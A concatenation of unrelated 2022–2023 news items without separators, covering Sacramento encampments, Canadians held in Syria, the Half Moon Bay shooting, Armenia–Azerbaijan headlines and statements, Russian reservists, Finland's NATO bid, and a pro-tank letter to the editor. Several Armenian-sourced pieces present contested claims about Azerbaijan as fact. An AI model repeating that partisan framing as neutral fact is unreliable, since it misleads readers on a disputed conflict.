Caltrans in 2021 cleared a homeless encampment in Midtown Sacramento along 29th Street between F and H streets, sending many of the unhoused living there a block north. The agency posted notices about the clearing at the camp ahead of time, but they had a phone number for a hotel voucher referral line that was disconnected.

Cleanups have also turned dangerous for some unhoused residents. A Caltrans worker clearing a Modesto homeless encampment with heavy machinery in 2018 fatally hit a sleeping woman.

The agency in 2021 worked with Sacramento city officials to open a Safe Ground site near Sixth and W streets where homeless residents could go during a freeway expansion project. That site is now closed, but Caltrans does have properties available for lease for emergency shelters that the city could take advantage of, which includes safe parking sites, said Edward Barrera, an agency spokesman, in an email.

Sacramentos 2021 Comprehensive Siting Plan to Address Homelessness included five Caltrans properties under the W-X freeway that would have featured 200 tiny homes. But the city agreed to drop the plan to use the sites after a resident sued Sacramento over alleged California Environmental Quality Act violations.

Barrera did not say whether Caltrans has any upcoming plans to clear more Sacramento encampments. He said the agency provides 48 hours of advance notice prior to a cleanup and (works) to notify social service providers of the estimated closure time and date so that those providers can conduct outreach to connect people experiencing homelessness with essential services and available shelter/housing options.

But in places like Sacramento, where local officials have banned overnight camping along the American River Parkway and near schools, encampment cleanups mean Caltrans property is just one more place where homeless people cannot be, said Bob Erlenbusch, executive director of the Sacramento Regional Coalition to End Homelessness.

All this does is move our unhoused neighbors from one place to another without actually providing them any services which they desperately need, Erlenbusch said. If they do feel that they have to move people for safety reasons, they should be giving them somewhere to go, coupled with services.

States that recorded the biggest increase in their homeless populations States that recorded the biggest increase in their homeless populations How the sheltered homeless population has changed since 2007 #14. Arizona #13. South Dakota #12. Alaska #11. Maine #10. Virginia #9. California #8. Montana #7. Minnesota #6. Rhode Island #5. Colorado #4. Nevada #3. Arkansas #2. Delaware #1. Vermont
Photo: The Canadian Press A general view of Karama camp for internally displaced Syrians, Monday, Feb. 14, 2022 by the village of Atma, Idlib province, Syria. A court action has prompted the federal government to begin repatriating several Canadians detained in Syria, but the fate of many other citizens trapped there remains unclear.THE CANADIAN PRESS/AP-Omar Albam

A court action has prompted the federal government to begin repatriating several Canadians detained in Syria, but the fate of many other citizens trapped there remains unclear.

A Federal Court judge declared last week that four Canadian men being held in Syrian camps are entitled to the federal government's help to return home.

Meantime, the government reached an agreement with Lawrence Greenspon, one of the lawyers behind the case, to begin the process of repatriating six Canadian women and 13 children from northeastern Syria.

Farida Deif, Canada director of the group Human Rights Watch, says that beyond these men, women and children, about 27 other Canadian detainees are thought to be in Syria.

The Canadians are among the many foreign nationals in Syrian camps and jails run by Kurdish forces that took back the battle-scarred region from the extremist group Islamic State of Iraq and the Levant.

Deif said in an interview that the federal government should bring home all of the Canadians, noting that none of them have been charged with a crime and they have not appeared before a judge to challenge their detention.

"They are unlawfully and indefinitely detained in abysmal and life-threatening conditions in northeast Syria," she said. "So these individuals, all of them, should be repatriated to Canada, rehabilitated, reintegrated  and anyone who may have committed crimes can be prosecuted here at home."

The government had argued in court that the Charter of Rights and Freedoms does not obligate Ottawa to repatriate the Canadians held in Syria.

In a ruling made public on Friday, Federal Court Justice Henry Brown directed Ottawa to request repatriation of the four men as soon as reasonably possible and provide them with passports or emergency travel documents.

Brown said the men are also entitled to have a representative of the federal government travel to Syria to help facilitate their release once their captors agree to turn them over.

The judge said the men are not able to enjoy meaningful exercise of their Charter right to enter Canada unless the government makes a formal request to the Autonomous Administration of North and East Syria on their behalf.

Asked about the ruling on Monday, Prime Minister Justin Trudeau said the government is "looking at it carefully."

"Obviously, making sure we're defending Canadians' safety and security is always going to be a priority for us and will continue to be."

Global Affairs Canada spokesperson Grantly Franklin said Saturday the department would "have more to say in due course."

As of Monday, the department had not responded to a question about whether the court ruling means Canada will look at repatriating citizens in Syria who were not part of the legal case.

It will be interesting to see whether Global Affairs takes a narrow approach to the court decision and focuses solely on the four men, or whether it takes a more expansive view that applies the judge's findings to others, Deif said.

"One would hope that the Canadian government has finally come to the realization that the situation is untenable in northeast Syria, that the government cannot simply outsource its responsibility for Canadian nationals to a non-state actor who then detains them unlawfully and arbitrarily," she said.
Updated at 8:03 p.m. Monday  At least seven people were killed in two related shootings in the beachside community of Half Moon Bay, an act of violence that comes just two days after 11 people were killed in another shooting in Monterey Park near Los Angeles.

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The suspected shooter, a 67-year-old resident of the community, was arrested about two hours after the shootings, sitting in a parked car at a sheriff's substation.

Deputies with the San Mateo County Sheriff's Office first found four victims shot to death in the 12700 block of Cabrillo Highway in an unincorporated area of the county just before 2:30 p.m.

A fifth victim was also found in the area and taken to Stanford Medical Center with life-threatening injuries, the Sheriff's Office said in a statement to The Times.

Minutes later, in a nearby area, deputies found three more victims dead of apparent gunshot wounds.

The motive for the shootings is still unknown, sheriff's officials said in a statement.

The suspected shooter was identified as Zhao Chunli, after he was spotted sitting in his car at the San Mateo County Sheriff's Office substation in Half Moon Bay.

Sheriff: Dance hall shooter had gun arrest, extra ammo Investigators searching for a motive Monday in the worst mass shooting in Los Angeles County history said the gunman was previously arrested for illegally owning a firearm.

Video from ABC affiliate KGO Channel 7 showed deputies taking a man to the ground in the parking lot. The man was wearing a white cap, vest and red long-sleeve shirt underneath.

Zhao was found at the substation at 4:40 p.m., officials said in the statement to the Los Angeles Times.

The weapon believed to have been used in the incident was also found inside his car.

Half Moon Bay Mayor Deborah Penrose told The Times multiple people were killed.

"I'm very sorry for the families of the victims," she said.

Penrose said she had been told that at least some of the victims were workers at nearby farms.

City officials were reaching out to nonprofit organizations to provide help to the affected families, and more information was to be provided later Monday, she said.

"There is no ongoing threat to the community at this time," the sheriff's office said in a tweet.

Authorities allege Zhao acted alone and they have not yet determined a motive, though San Mateo County Sheriff Christina Corpus said at a news conference Monday night that he is believed to be a worker for at least one of the farms where the shootings occurred.

During the press conference, county Supervisor Ray Mueller said that children were witnesses to the shootings.

Half Moon Bay Vice Mayor Joaquin Jimenez spoke out on behalf of the affected farmworkers, saying that this sort of thing is something you see on the news but never think is going to "hit home."

"Today, we are the news. Our community has been affected," Jimenez said.

The sheriff's office is working with the San Mateo County District Attorney's Office to interview the suspect and he is cooperating, Corpus said.

"This is a devastating tragedy for this community and the many families touched by this unspeakable act of violence," said Corpus.

Anyone with information about the case is encouraged to contact Detective Deschler at 800-547- 2700.

A family reunification center has been set up at the IDES Hall, 735 Main St. in Half Moon Bay.

The shootings come just two days after 11 people were killed in a mass shooting in Monterey Park, shocking the community in one of the worst mass shooting incidents in Los Angeles County.

On Twitter, Gov. Gavin Newsom noted he was in the hospital meeting the victims of the Monterey Park shooting when he was notified about the shootings in Half Moon Bay.

"Tragedy upon tragedy," Newsom tweeted.

President Biden has also been briefed on the situation, and has asked federal law enforcement officials to provide any needed assistance to local law enforcement, according to a statement from White House Press Secretary Karine Jean-Pierre.

"The scourge of gun violence has sadly hit home," San Mateo County Supervisor Dave Pine said in a statement. "We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop. The State of California has among the strictest gun laws in the United States, which we have strengthened through local action here, but more must be done. The status quo cannot be tolerated."

Assemblyman Marc Berman noted the scale of violence to hit California: "Two hours ago I joined my colleagues on the Capitol steps for a vigil for the victims of the shooting in Monterey Park," he said on Twitter. "Before we've even had a chance to mourn them, there is yet another mass shooting  this time in Half Moon Bay. In my district."

The investigation into the Monterey Park mass shooting is focused on the gunman's previous interactions at two dance studios he targeted and whether jealousy over a relationship was the motive, according to law enforcement sources.

The sources stressed that the investigation was in its early stages. But detectives believe that 72-year-old Huu Can Tran frequented the clubs  the Star Ballroom Dance Studio in Monterey Park and the Lai Lai Ballroom and Studio in Alhambra  and that the shooting might have been sparked by a personal dispute.

Inside Tran's home in Hemet, investigators found a .308-caliber rifle, hundreds of rounds of ammunition, electronic devices, including cellphones and computers, and items that led officials to suspect he was manufacturing firearm suppressors, Los Angeles County Sheriff Robert Luna said at a news conference Monday.

Bay City News Foundation reporter Katy St. Clair contributed to this report.

Photos: Mass shooting at Lunar New Year celebration in California
Brazil's president in China called for abandoning the dollar

Artsakh's Ombudsman expresses dissatisfaction to OSCE chairman for attitude of international community

Ararat Mirzoyan will go on a working visit to Uzbekistan

Police and demonstrators clash on the 12th day of demonstrations in France

Anahit Manasyan had a phone conversation with the Human Rights Ombudsman of Artsakh

he 12th protest against pension reform takes place in France

MFA: Shushi is Artsakhs integral part in territorial, cultural, economic, historical aspects

An earthquake of magnitude 4.3 occurred in southeastern Turkey

Charles Michel explains his activeness in Armenia-Azerbaijan relations normalization process

Armenia PM to Bujar Osmani: This visit is good opportunity to get familiarized with complicated situation

South Korea bans its citizens from traveling to Armenia-Azerbaijan border region

Karabakh President convenes working consultation, security challenges discussed

OSCE Chairman-in-Office: I am here to find out if there is possibility to build bridges between Yerevan and Baku

Armenia PM chief of staff: Azerbaijanis are already in Yerevan, we have ensured their safety

Chairman-in-Office: OSCE toolkit provides mechanisms to assist peace process between Armenians and Azerbaijanis

Osmani: We are ready for any efforts to achieve positive dynamics between Azerbaijan and Armenia

Armenia FM: Replacing army with guards on Azerbaijan border should be part of final settlement

Armenia MFA: Rumors about OSCE Minsk Group activities termination are greatly exaggerated

168.am: Who is the Azerbaijani already rendered ineffective in Armenia? What does he say in video?

Armenia village youth tell how they caught Azerbaijani

Armenia Investigative Committee issues statement on murder of security guard, 56, in Syunik Province

Azerbaijani who crossed border into Armenia is caught by locals, found in Achanan village territory

2nd Azerbaijan soldier found, detained in Armenia

Armenian health minister: Wounded soldier in critical condition due to Azerbaijan provocation has stabilized

Which Armenia company is put on US sanctions list?

Premier: Armenia ready for reopening of transport links, delimitation of borders

Pashinyan: We are ready to withdraw troops to safe distance along Armenia-Azerbaijan 1991 border

Armenia to have trade attache in Germany

Azerbaijan MFA accuses France foreign ministry of smear campaign and unfair position

Armenia PM: It failed to deploy border guards without escalation of tension

Newly elected Armenia ombudsperson announces her priority objective in this capacity

Armenia deputy PM, US Deputy Secretary of Treasury acknowledge high level of cooperation between both countries

Newspaper: Karabakh soldiers who showed necessary resistance to Azerbaijan military are rewarded

Armenia FM, OSCE Chairperson-in-Office tete-a-tete kicks off (PHOTOS)

Armenia deputy PM, USAID official discuss opportunities for deepening cooperation

Mher Grigoryan, Todd Robinson exchange views on ongoing democratic reforms in Armenia

Armenia FM to Derek Hogan: Provocation near Tegh village was another manifestation of Azerbaijan aggressive policy

shamshyan.com: Murder in Armenias Syunik Province, 6 gunshot wounds found on body of security guard, 57

US State Department on Armenias Tegh village incident: Use of force to resolve disputes is unacceptable

MFA: France deeply concerned about violence that took place near Tegh village of Armenia

Legal entity from Armenia on list of those subject to US export restrictions

Russia MOD: 4 ceasefire violations recorded in Karabakh

EU monitoring mission in Armenia not present in the area when Azerbaijan attacked

Armenia National Security Service Border Guard Troops commander dismissed

Armenia MOD: Tegh village incident that led to undesirable consequences was due to deployment adjustment

Mayor of Frances Lyon expresses unconditional support to people of Karabakh

Pashinyan: Armenian side had recognized Nagorno-Karabakh as part of Azerbaijan

Criminal proceedings launched into Armenia soldiers being killed, wounded by Azerbaijan near Tegh village

Chairman-in-Office: OSCE supports continuation of Armenia-Azerbaijan direct contacts

MFA: Russia asked Armenia to explain information about participating in joint military exercises with NATO

Zakharova does not disclose details of Russian, Turkish FMs talks on Armenia-Turkey relations

Russia MFA spox: CSTO mission deployment details can be talked about when Armenia is ready

Zakharova: Russia favors complete unblocking of Lachin corridor

Russia MFA: Other players engagement will lead to Armenia-Azerbaijan relations destabilization

EU calls on Armenia and Azerbaijan to intensify border delimitation talks, until then to respect 1991 line

Russia MFA spox: Yerevan, Baku accepted proposal to hold another bilateral talks

Pallone: This is another senseless provocation from Azerbaijani forces against Armenia

Zakharova: Russia Border Guard Service, army took measures to de-escalate situation near Armenias Tegh village

Armenia deputy defense minister on possible Azerbaijan provocations again: Nothing can be ruled out

Armenia MP: Azerbaijanis demanded not to do engineering work, our soldiers responded, battle started from that

Marukyan: This is continuation of attacks carried out against Armenia in May and November 2021, in September 2022

About 100 killed in airstrikes in rural Myanmar

Criminal proceedings to be launched against Armenia opposition MP Mher Sahakyan

Armenia MP: Army corps commander was there, talks were to be held but Azerbaijan resorted to provocation

Mher Grigoryan, US Deputy Assistant Secretary of State discuss security issues in Armenia, region

Parliament observes minute of silence in memory of Armenia soldiers who died yesterday

Newspaper: How Europe reacts to yesterday's provocation by Azerbaijanis?

Anahit Manasyan is elected Armenia ombudsperson

Armenia MOD: No significant ceasefire violations by Azerbaijan recorded at night

MOD: 3 of wounded Armenia soldiers in satisfactory condition, other 3 in moderate, severe, critical condition

RA MOD announces names of soldiers killed by Azerbaijani Armed Forces

As of 10:15 p.m., the situation on the frontline is relatively stable. RA Ministry of Defense

The destruction of Artsakh and Syunik is a key issue for Turkey and Azerbaijan. David Babayan

Suren Papikyan interrupts his working visit and returns to Armenia

Azerbaijans provocation is another encroachment on the territorial integrity of the Republic of Armenia. MFA

Azerbaijan MOD publicizes data on own losses during latest Baku provocation

Russia MOD: 2 ceasefire violations recorded in Karabakh

The reason for Azerbaijan's aggression is not being sanctioned by the international community. Edmon Marukyan

Four Armenian soldiers killed, six wounded because of Azerbaijani provocation. MOD

Video shows how Azerbaijani soldiers approach and open fire at Armenian soldiers
Ever since the ongoing Azerbaijani blockade, construction sites are closing one after another in Artsakh (Nagorno-Karabakh).

One of the still-working construction sites, however, is in Nakhijevanik village.

According to Artsakh Public Television, thanks to the building materials imported and stored before the blockade, the construction of the new district of the village continues according to the schedule.

The initiators say that this is their way of fighting to keep Artsakh Armenian.

Artsakh has been under a blockade for 44 days now. Since December 12 of last year, Azerbaijan continues to closeunder the name of "environmentalists"the "road of life" connecting Artsakh to the world, thereby stopping traffic and cutting off the only connection of Artsakh citizens with the outside world.

As a result 120,000 people in Artsakh30,000 of whom are childrenwelcomed the New Year under a blockade, waiting for the reopening of the aforesaid road. Due to the Azerbaijanis closure of this corridor connecting Artsakh to Armenia, 1,100 Artsakh residentsof which 270 are childrencannot return home.
Azerbaijan has taken note of the decision of the Council of the European Union to send an EU civilian mission to Armenia. This was mentioned in a commentary by the Foreign Ministry of Azerbaijan regarding the decision of the EU to organize a new monitoring mission on the Armenian-Azerbaijani border.

As before, the Ministry of Foreign Affairs (MFA) of Azerbaijan has a strong position towards such activities, including the border delimitation process, which should be carried out exclusively on a bilateral basis, and this activity should not be used in any case to harm the normalization process between Azerbaijan and Armenia, the Azerbaijani MFA said in its commentary.

The deployment of the EU's mission in Armenia should be properly ensured, taking into account the legitimate interests of Azerbaijan, and should be implemented in such a way as not to disrupt mutual trust. The Azerbaijani side expects that maximum caution will be shown in the discussion process of starting the activity of the EU mission in order to learn the necessary lessons from the past experience, the commentary continued.

To note, the need for this EU monitoring mission arose after Azerbaijan's military aggression against the sovereign territory of Armenia in September last year.
Photo: The Canadian Press

Police in Toronto say two transit workers have been injured following a report that close to a dozen youths attacked them on a bus Monday afternoon.

A post on the force's Twitter account says police responded to Kennedy Road and Merrian Road for a report that a group of 10 to 15 youths attacked three uniformed TTC employees on a bus, and then fled the area.

Police later posted that two employees were assaulted, and that their injuries weren't life-threatening.

Police are asking anyone with information that could help with the case to contact them.

The Amalgamated Transit Union says in a statement that two of its members were "violently assaulted" and have reported physical injuries.

Mayor John Tory says in a statement about the incident that acts of violence and disrespect against transit workers need to end.
The Ministry of Foreign Affairs of Artsakh (Nagorno-Karabakh) issued a statement on Azerbaijan's interpretation of paragraph 6 of the trilateral statement of November 9, 2020. The statement reads as follows:

The Azerbaijani authorities have recently increasingly resorted to an arbitrary interpretation of paragraph 6 of the Trilateral Statement of 9 November 2020, regarding the operation of the Lachin Corridor. To advance their political agenda, Azerbaijan has been holding the entire population of Artsakh hostage for more than 40 days, blocking the only road linking Artsakh with Armenia and the outside world, and creating a serious humanitarian crisis.

At the same time, Azerbaijan resorts to various speculations, trying to disguise their inhuman policy towards the people of Artsakh. In particular, the Azerbaijani authorities present the data on the passage of ICRC and Russian peacekeepers vehicles as evidence of the absence of a humanitarian crisis and blockade. However, facts on the ground refute the Azerbaijani ploy designed to mislead the international community.

Firstly, during the 43 days of the blockade, fewer vehicles have passed through the Lachin Corridor than the daily traffic flow in the pre-blockade period. All of these vehicles belonged either to the ICRC or the Russian peacekeepers. Not a single vehicle belonging to Artsakh residents passed through the corridor.

Secondly, due to the blockade, passenger flow through the Lachin Corridor in both directions has been stopped. Even the vehicle of the Russian peacekeepers, transporting children from Armenia back to Artsakh, was stopped, and the passengers inside were subjected to deliberate psychological terror from the Azerbaijani side.

Thirdly, the import of consumer goods, amounting to more than 400 tons per day, has been completely stopped. The blockade of Artsakh has not only led to a shortage of essential supplies, including life-saving medicines, but also deprived thousands of people of their jobs and livelihoods.

At the same time, in addition to the land blockade of Artsakh, Azerbaijan imposed an energy blockade to further aggravate the humanitarian situation. Azerbaijan continues to deliberately obstruct the natural gas supply to Artsakh, as well as the repair of the only Goris-Stepanakert high-voltage power line coming from Armenia, which was damaged on 9 January, in an area under Azerbaijani control.

Azerbaijan's claim that they have the right to stop vehicles passing through the Lachin Corridor and conduct cargo inspections is absolutely unfounded. The Trilateral Statement does not provide for any restrictions on the transport of cargo with regard to their nature, purpose or use. With respect to the Lachin Corridor, Azerbaijans only obligation is to not impede the movement in any way the safety of movement of citizens, vehicles and cargo in both directions.

Baku's attempts to unilaterally revise the provisions of the Trilateral Statement and turn the Lachin Corridor, which has an internationally recognized status, into an Azerbaijani-controlled road exclusively for humanitarian cargo transportation are illegitimate and must be rejected.

The Azerbaijani President's signature under the Trilateral Statement represents Azerbaijans explicit consent to the recognition of the exclusive control of the Russian peacekeeping contingent over the Lachin Corridor.
The representatives of Azerbaijan continue their efforts in the hope of getting the "Zangezur corridor" from Armenia.

Another such effort for the purpose of advertising was undertaken by Azerbaijani foreign minister Jeyhun Bayramov, speaking at the 26th Meeting of the Council of Ministers of the Economic Cooperation Organization (ECO) in Tashkent, Uzbekistan.

"The Zangazur [(Zangezur)] corridor will have a special significance for the development of cooperation between all the countries of the region," said Bayramov, addressing the participants of the meeting.

The FM emphasized the importance of means aimed at creating a transport corridor from the Eastern Zangazur economic region of Azerbaijan to the Nakhchivan Autonomous Republic.

The participants of the event were also informed about the importance of transport routes passing through Central Asia and the South Caucasus and the important work that is being carried out for the development of regional and transit corridors of Azerbaijan.

The Minister of Foreign Affairs announced the creation of trilateral platforms with Turkey, Kazakhstan, and Uzbekistan in order to promote cooperation in the mentioned directions.

He also mentioned about the signing of the Baku Declaration after the meeting of the Foreign Ministers of Azerbaijan, Turkey and Kazakhstan in June 2022, and related decisions on the development of the East-West Trans-Caspian International Corridor," Azerbaijani media quoted the ministry of foreign affairs of this country.

The "Zangezur corridor" so desired by Azerbaijan is none other than the Syunik Province of Armenia. Although the Armenian side always declares that it is ready to reopen communications if Azerbaijan does the same, Baku continues to insist on the "Zangezur corridor."

Yerevan has sharply announced that there will be no extraterritorial corridors in Armenia.

It is noteworthy that when talking about the "Zangezur corridor," Azerbaijani officials try not to mention Armenia at all.
Russia expects new military training camps in 2023. The main intrigue: will those who did not serve be drafted. The State Duma is already discussing such an option, Life. ru reported.

The law says that those who have already served in the army under the draft and are now listed in the reserve can be called up for military training. However, recently Lieutenant General Victor Sobolev, a member of the Defense Committee of the Duma, made a statement that Russians older than 30 years old who have not served may also be sent to a military training camp to obtain a military registration specialty, and on January 12 this year this deputy suggested sending "all young people" to a military training camp for six months.

Other members of the Duma Defense Committee called Sobolev's ideas his personal initiative, but at the expert level they confirmed information about some changes in approaches to conscription. In particular, Andrey Kartapolov, the chairman of Defense Committee of the Duma, said that in spring of this year it is possible to make changes, according to which the age of draft will be gradually raised from 18 to 21 years old and the upper draft threshold will be 30 years.

Military training camps are held annually, and both citizens who are in the reserve and reservists are drafted to participate in them.

Reservists are drafted to training exercises in the Armed Forces, the Russian Federal Guard Service troops, bodies of state protection and bodies of the Federal Security Service on the Russian president's decree basis. For soldiers and officers in the reserve military training camps may be training and testing, and their duration may not exceed two months. However military training camps can not be called more often than once in 3 years, but in the inspection camps reservists can be called without any restrictions.

With reservists the situation is different. First of all, this includes only those reservists who signed a special contract with the Defense Ministry. These people work in a civilian specialty, but are obliged to regularly attend a military training camp. Thus, the state compensates the reservist's employer for the average earnings during the training camp, and the employer remits this amount to the reservist.

Staying in the reserve of the Armed Forces of Russia is not indefinite. The maximum age of stay depends on the rank and category.

The first category of military reserve (basic mobilization reserve) includes privates and sergeants, as well as warrant officers and ensigns up to 35 years old; junior officers - up to 50 years old; majors, captains of third rank, lieutenant colonels, captains of second rank - up to 55 years; colonels and captains of first rank - up to 60 years; top officers - up to 65 years.

The second category is those who may be called up in the event of full-scale military action. As a rule, it is not yet called up for military training. It consists of privates and sergeants, as well as warrant officers and midshipmen up to 45 years old, junior officers - up to 55 years old, majors, captains of the third rank, lieutenant colonels, captains of the second rank - up to 60 years old, colonels and captains of the first rank - up to 65 years old, top officers - up to 70 years old.

The third category practically does not participate in military training. These are privates and sergeants, as well as warrant officers and midshipmen up to 50 years old; junior officers - up to 60 years old; majors, captains of the 3rd rank, lieutenant colonels, captains of the 2nd rank - up to 65 years old.

Those who have reached the age limit for staying in the reserve, or those who are deemed unfit for military service due to health reasons, are transferred to retirement and removed from the military register.
Photo: The Canadian Press Finland's Foreign Minister Pekka Haavisto.

Finlands foreign minister suggested Tuesday that the country may consider joining NATO without neighboring Sweden if Turkey continues to block their joint bid to enter the military alliance.

Pekka Haavisto later backpedaled, but his comments were the first time a leading government official in either Nordic country appeared to raise doubts about becoming NATO members together at a time when the alliance is seeking to present a united front in the face of Russia's war in Ukraine.

Sweden and Finland rushed to apply for NATO membership following Moscow's invasion, abandoning their long-standing non-alignment policy. Their accession needs the approval of all existing NATO members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathizers.

On Monday, Turkish President Recep Tayyip Erdogan warned Sweden again not to expect support for its application following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

Asked a day later whether it still made sense for Finland to proceed together with the Swedes, Haavisto told broadcaster YLE that his country would have to evaluate the situation if it turns out that Swedens application is stalling for a long time to come."

Haavisto later told reporters in Parliament that his comment was imprecise and that Finland's ambition to enter NATO jointly with Sweden remained unchanged.

He said he had spoken with NATO Secretary-General Jens Stoltenberg, who had stressed to Haavisto that the military bloc would like to see the two nations join simultaneously.

But of course there have been raised concerns within NATO on how the (recent) incidents in Sweden will affect the schedule, Haavisto said.

Until now, Sweden and Finland had been committed to joining the alliance together.

This is the first crack in the so far rather impressive unity between Sweden and Finland," said Paul Levin, director of the Institute for Turkish Studies at Stockholm University. Finland is currently somewhat of an innocent victim of the continued provocations by Swedish groups critical of NATO accession, protected by the very liberal Swedish freedom of speech laws. If Turkey persists in blocking accession, I suspect that Finland will at some point have to go it alone.

Swedish Foreign Minister Tobias Billstrom said Stockholm was in contact with Finland to find out what is really meant." In a statement to The Associated Press, he said Sweden respects the agreement between Sweden, Finland and Turkey regarding our NATO membership.

In a memorandum of understanding signed by the three countries at a NATO summit last year, Sweden and Finland committed not to support Kurdish militant groups and to lift arms embargos on Turkey imposed after its incursion into northern Syria in 2019.

Pro-Kurdish and anti-Turkish demonstrations in Stockholm have complicated the process. On Saturday, a far-right activist from Denmark staged a protest outside the Turkish Embassy in Stockholm where he burned the Quran, Islams holy book. A separate pro-Kurdish demonstration was held later Saturday in the Swedish capital.

The Swedish government has tried to distance itself from the demonstrations, while insisting that such protests are protected by freedom of speech.

Turkey responded angrily to the protests, canceling a planned visit to Ankara by the Swedish defense minister. Protests were held outside Swedish diplomatic missions in Ankara and Istanbul.

Erdogan slammed Swedish authorities for allowing the Quran-burning demonstration.

It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their NATO membership application, he said.

He also criticized the pro-Kurdish demonstration, accusing Sweden of letting terror organizations run wild on your avenues and streets." He said that if Sweden wont show respect to Turkey or Muslims, then they wont see any support from us on the NATO issue.
Kyiv offered Minsk to conclude a non-aggression pact so that Belarusian troops would not move to Ukraine, said President of the republic Alexander Lukashenko.

According to him, the West "has not abandoned its plans concerning Belarus," while Ukraine continues to train militants and extremists.

"I don't know why the Ukrainians need it. On the one hand, they ask us not to go to war with Ukraine in any case, not to move our troops there. They offer to sign a non-aggression pact. And on the other hand, they are preparing this rattlesnake mixture and arming them. Poland, Lithuania are crazy. Why do they need it? I do not understand," BelTA news agency quotes excerpts from the president's speech at a meeting on the socio-political situation.

The day before Lukashenko pointed out that "a group of armed forces of the neighboring countries of the European Union and Ukraine" is concentrated near the Belarusian border - about 23.5 thousand people, of which 17.2 thousand are from Ukraine and 3.7 thousand - from Poland.




A war has been raging in Eastern Europe for nearly a decade, with a major escalation of hostilities that began nearly 11 months ago.

The full scale invasion of Ukraine at the hands of (President) Vladimir Putin's Russia has led to hundreds of thousands of people dead, both combatants and innocents, with millions more displaced by the conflict.

The Russian regime has shown publicly it has next to no regard for civilian casualties, the rules of war as laid out in international law or for the opinions of the global community. The regime continues to laugh at our sanctions that still enable the Russian people, many of whom openly and proudly support their government's war of conquest, to live lives of relative comfort compared to the lives being lived by their victims in Ukraine.

Canada has provided, or committed to provide, the Ukrainian government with financial support, hundreds of light armoured vehicles, a handful of artillery pieces, handheld anti-tank weapons and hundreds of thousands pieces of winter uniforms for the Ukrainian Armed Forces.

Our country took brave steps to lead the global community to accept Ukrainian refugees who lost everything at the hands of the Russian regime.

Once again the global community has found itself in need of leadership, and brave decision-making. This time in regards to main battle tanks.

Ukraine is a country that prior to the February 2022 invasion, possessed approximately 1,900 main battle tanks of all types, according to GlobalFirepower. Comparatively, Russia boasts nearly 12,500 main battle tanks of all types. That illustrates a massive disparity in equipment before we begin to even look at the quality and age of the equipment, a category in which Ukraine once again is at a disadvantage.

There have been many pleas from the Ukrainian government to supply it with modern Western main battle tanks, such as the Leopard 2 and the M1 Abrams to an attempt to level the playing field.

Ukraine's major Western allies, such as Canada, the United States, Germany, the United Kingdom, France, Poland and more met last week in Ramstein, Germany to discuss the issue of supply of main battle tanks but could not reach a consensus on whether or not to send them.

Major producers argued about who should send theirs first and left their support contingent on other nations being the first to send their own main battle tanks. This is where our MPs come in.

Canada currently has 87 Leopard 2s that are operational and combat ready. While our tanks would be a drop in the bucket compared to the thousands of main battle tanks Russia has, it could be a sign to our allies it is time for this equipment to head to Ukraine.

Canada has been a leader and has punched above its weight in many areas of support for Ukraine. We led the way in sanctions, we led the way in financial support, we've led the way in winter equipment for Ukrainian forces, we led the way in providing light armoured vehicles and now the world once again calls for leadership. The only question is, will we answer that call?

There is not enough time for Ukraine's allies to sit by and debate who will send weapons first and make sure our contributions are all equivalent to that of other nations. Every day thousands more are killed, displaced or robbed of their liberty at the hands of a violent Russian regime. Every second of inaction is an action that costs more innocent lives.

The Russian government has no interest in a diplomatic settlement on any terms other than the ones they've chosen. It is not interested in compromise. It is not interested in peace. It is not interested in diplomacy. It is only interested in using force to achieve its objectives.

As such, that force must be met with a deterrent force of equivalent strength, a deterrent force that can only be achieved through the combined contributions of Ukraine's allies. There are no other terms that the current Russian regime can understand.

I ask that our British Columbia MPs, as well as those across our country, take it upon themselves to champion the cause of sending Canada's Leopard 2s to Ukraine. It is the only way that we can stop the suffering and the horrific atrocities that have been inflicted upon the Ukrainian people.

I also ask our MPs to remember the lessons of history. If Ukraine was to recognize Russia's newly annexed territories, who is to say Russia would not simply remilitarize and come back for the rest of it?

The West made the mistake of giving in to appeasement in 1938 and by doing so, invited the horrors of war. I beg (MPs) to remember what is at risk by choosing inaction as their course of action.

Mitchell Really, West Kelowna
The delegation led by the RA NA President Alen Simonyan is on a three-day working visit in the State of Qatar. On January 24, the President of the Shura Council (Al-Shura of Majlis) Hassan bin Abdulla Al-Ghanim received the delegation led by the RA NA President, the press service of the National Assembly reports about it.



Alen Simonyan thanked Al-Ghanim for the invitation and warm hospitality.



The sides recorded the necessity of the programmes to be implemented in the development of the Armenia-Qatar inter-state, particularly inter-parliamentary cooperation.



The RA NA President noted that the development of multifaceted relationship with the Arab world is one of the primary directions of foreign policy of Armenia.



Regarding the importance of parliamentary diplomacy, the sides documented the role and work of the Parliamentary Friendship Groups in that issue.



Alen Simonyan presented details about the post-war situation and the ambitions of Azerbaijan towards the territorial integrity of Armenia.



I am sure that the Armenia-Qatar cooperation has great potential for development and me, as the President of the RA National Assembly is ready to support the development of Armenia-Qatar mutually beneficial collaboration for the benefit of our brotherly peoples, he added. The Qatar colleague referred to the necessity of establishing peace in the region.



Ideas were exchanged on the economic cooperation. The Arab colleague touched upon the various wars going on in the world, noting that the wars being fought on the basis of religious and racist discrimination, aggression are unacceptable for them. The sides mentioned that the parliaments have a lot to do in the fight against them.



Alen Simonyan invited his colleague to Armenia on an official visit.



The Head of Armenia-Qatar Friendship Group Vahagn Aleksanyan, the members of the Friendship Group Hasmik Hakobyan, Trdat Sargsyan and Taguhi Tovmasyan, the Chair of the NA Standing Committee on Science, Education, Culture, Diaspora, Youth and Sport Sisak Gabrielyan and the RA Minister of Health Anahit Avanesyan are in the delegation led by the RA NA President.
Azerbaijani MP Konul Nurullayeva deliberately voiced a lie from the rostrum of PACE, trying to deceive the delegates of the Assembly.

At the plenary session of the PACE winter session, during the discussion of the report on sexual violence in conflicts, a member of the Azerbaijani delegation Konul Nurullayeva said that Azerbaijan has repeatedly experienced the negative impact of sexual violence in conflict.

Konul Nurullayeva noted that thousands of Azerbaijani women have become victims of various types of sexual violence during the Karabakh war and other conflicts.

By doing so, the Azerbaijani delegate tried to neutralize the horrifying information about the brutal killings of Armenian female soldiers.

Arusyak Julkhakyan, a member of the Armenian delegation to the PACE, said in response that after Azerbaijan's aggression against Armenia in September 2022, not only Armenia but also the international community was shocked by the terrible videos circulated in the Azerbaijani media.

